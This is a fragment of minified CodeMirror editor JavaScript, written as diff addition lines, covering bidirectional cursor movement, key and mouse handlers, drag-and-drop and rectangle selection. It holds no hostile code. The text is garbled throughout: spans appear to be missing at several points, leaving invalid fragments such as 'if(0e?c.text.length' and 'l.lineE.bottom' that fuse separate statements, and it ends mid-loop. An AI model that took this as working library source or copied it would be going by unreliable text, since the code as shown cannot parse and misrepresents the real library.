+c);return 0>b||b>a.text.length?null:b}function ne(a,b,c){a=me(a,b.ch,c);return null==a?null:new z(b.line,a,0>c?"after":"before")}function oe(a,b,c,d,e){if(a&&(a=Na(c,b.doc.direction))){a=0>e?g(a):a[0];var h=0>e==(1==a.level)?"after":"before";if(0e?c.text.length-1:0;var r=Ra(b,l,n).top;n=ma(function(a){return Ra(b,l,a).top==r},0>e==(1==a.level)?a.from:a.to-1,n);"before"==h&&(n=me(c,n,1))}else n=0>e?a.to:a.from;return new z(d,n,h)}return new z(d,
+0>e?c.text.length:0,0>e?"before":"after")}function Qg(a,b,c,d){var e=Na(b,a.doc.direction);if(!e)return ne(b,c,d);c.ch>=b.text.length?(c.ch=b.text.length,c.sticky="before"):0>=c.ch&&(c.ch=0,c.sticky="after");var h=Xa(e,c.ch,c.sticky),l=e[h];if("ltr"==a.doc.direction&&0==l.level%2&&(0c.ch:l.fromd,g=n(c,k?1:-1);if(null!=g&&(k?g<=l.to&&g<=f.end:g>=l.from&&g>=f.begin))return new z(c.line,g,k?"before":"after")}l=function(a,b,d){for(var h=function(a,b){return b?new z(c.line,n(a,1),"before"):new z(c.line,a,"after")};0<=a&&afa&&27==a.keyCode&&(a.returnValue=!1);var b=a.keyCode;this.display.shift=16==b||a.shiftKey;var c=Sf(this,a);Ta&&(pe=c?b:null,!c&&88==b&&!Tg&&(Qa?a.metaKey:a.ctrlKey)&&this.replaceSelection("",null,"cut"));18!=b||/\bCodeMirror-crosshair\b/.test(this.display.lineDiv.className)||Ug(this)}}function Ug(a){function b(a){18!=a.keyCode&&a.altKey||(Bb(c,"CodeMirror-crosshair"),ja(document,"keyup",b),ja(document,"mouseover",b))}var c=a.display.lineDiv;
+J(c,"CodeMirror-crosshair");L(document,"keyup",b);L(document,"mouseover",b)}function Uf(a){16==a.keyCode&&(this.doc.sel.shift=!1);ka(this,a)}function Vf(a){if(!(fb(this.display,a)||ka(this,a)||a.ctrlKey&&!a.altKey||Qa&&a.metaKey)){var b=a.keyCode,c=a.charCode;if(Ta&&b==pe)pe=null,qa(a);else if(!Ta||a.which&&!(10>a.which)||!Sf(this,a))if(b=String.fromCharCode(null==c?b:c),"\b"!=b&&!Sg(this,a,b))this.display.input.onKeyPress(a)}}function Vg(a,b){var c=+new Date;if(Mc&&Mc.compare(c,a,b))return Nc=Mc=
+null,"triple";if(Nc&&Nc.compare(c,a,b))return Mc=new qe(c,a,b),Nc=null,"double";Nc=new qe(c,a,b);Mc=null;return"single"}function Wf(a){var b=this.display;if(!(ka(this,a)||b.activeTouch&&b.input.supportsTouch()))if(b.input.ensurePolled(),b.shift=a.shiftKey,fb(b,a))va||(b.scroller.draggable=!1,setTimeout(function(){return b.scroller.draggable=!0},100));else if(!zd(this,a,"gutterClick",!0)){var c=Ab(this,a),d=tb(a),e=c?Vg(c,d):"single";window.focus();1==d&&this.state.selectingText&&this.state.selectingText(a);
+c&&Wg(this,d,c,e,a)||(1==d?c?Xg(this,c,e,a):(a.target||a.srcElement)==b.scroller&&qa(a):2==d?(c&&td(this.doc,c),setTimeout(function(){return b.input.focus()},20)):3==d&&(re?Xf(this,a):Ve(this)))}}function Wg(a,b,c,d,e){var h="Click";"double"==d?h="Double"+h:"triple"==d&&(h="Triple"+h);return Lc(a,Mf((1==b?"Left":2==b?"Middle":"Right")+h,e),e,function(b){"string"==typeof b&&(b=Kc[b]);if(!b)return!1;var d=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),d=b(a,c)!=yd}finally{a.state.suppressEdits=!1}return d})}
+function Xg(a,b,c,d){R?setTimeout(W(Ue,a),0):a.curOp.focus=D();var e=a.getOption("configureMouse");e=e?e(a,c,d):{};null==e.unit&&(e.unit=(Yg?d.shiftKey&&d.metaKey:d.altKey)?"rectangle":"single"==c?"char":"double"==c?"word":"line");if(null==e.extend||a.doc.extend)e.extend=a.doc.extend||d.shiftKey;null==e.addNew&&(e.addNew=Qa?d.metaKey:d.ctrlKey);null==e.moveOnDrag&&(e.moveOnDrag=!(Qa?d.altKey:d.ctrlKey));var h=a.doc.sel,l;a.options.dragDrop&&Zg&&!a.isReadOnly()&&"single"==c&&-1<(l=h.contains(b))&&
+(0>K((l=h.ranges[l]).from(),b)||0b.xRel)?$g(a,d,b,e):ah(a,d,b,e)}function $g(a,b,c,d){var e=a.display,h=!1,l=ra(a,function(b){va&&(e.scroller.draggable=!1);a.state.draggingText=!1;ja(document,"mouseup",l);ja(document,"mousemove",n);ja(e.scroller,"dragstart",r);ja(e.scroller,"drop",l);h||(qa(b),d.addNew||td(a.doc,c,null,null,d.extend),va||R&&9==fa?setTimeout(function(){document.body.focus();e.input.focus()},20):e.input.focus())}),n=function(a){h=h||10<=Math.abs(b.clientX-
+a.clientX)+Math.abs(b.clientY-a.clientY)},r=function(){return h=!0};va&&(e.scroller.draggable=!0);a.state.draggingText=l;l.copy=!d.moveOnDrag;e.scroller.dragDrop&&e.scroller.dragDrop();L(document,"mouseup",l);L(document,"mousemove",n);L(e.scroller,"dragstart",r);L(e.scroller,"drop",l);Ve(a);setTimeout(function(){return e.input.focus()},20)}function Yf(a,b,c){if("char"==c)return new V(b,b);if("word"==c)return a.findWordAt(b);if("line"==c)return new V(z(b.line,0),M(a.doc,z(b.line+1,0)));a=c(a,b);return new V(a.from,
+a.to)}function ah(a,b,c,d){function e(b){if(0!=K(p,b))if(p=b,"rectangle"==d.unit){var e=[],h=a.options.tabSize,l=k(A(r,c.line).text,c.ch,h),n=k(A(r,b.line).text,b.ch,h),f=Math.min(l,n);l=Math.max(l,n);n=Math.min(c.line,b.line);for(var E=Math.min(a.lastLine(),Math.max(c.line,b.line));n<=E;n++){var x=A(r,n).text,G=U(x,f,h);f==l?e.push(new V(z(n,G),z(n,G))):x.length>G&&e.push(new V(z(n,G),z(n,U(x,l,h))))}e.length||e.push(new V(c,c));ua(r,Ua(m.ranges.slice(0,g).concat(e),g),{origin:"*mouse",scroll:!1});
+a.scrollIntoView(b)}else e=u,f=Yf(a,b,d.unit),b=e.anchor,0=m.to||l.lineE.bottom?20:0;f&&setTimeout(ra(a,function(){x==c&&(n.scroller.scrollTop+=
+f,h(b))}),50)}}function l(b){a.state.selectingText=!1;x=Infinity;qa(b);n.input.focus();ja(document,"mousemove",N);ja(document,"mouseup",q);r.history.lastSelOrigin=null}var n=a.display,r=a.doc;qa(b);var m=r.sel,f=m.ranges;if(d.addNew&&!d.extend){var g=r.sel.contains(c);var u=-1h:0=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&qa(b);d=a.display;var l=d.lineDiv.getBoundingClientRect();if(h>l.bottom||!wa(a,c))return Nb(b);h-=l.top-d.viewOffset;for(l=0;l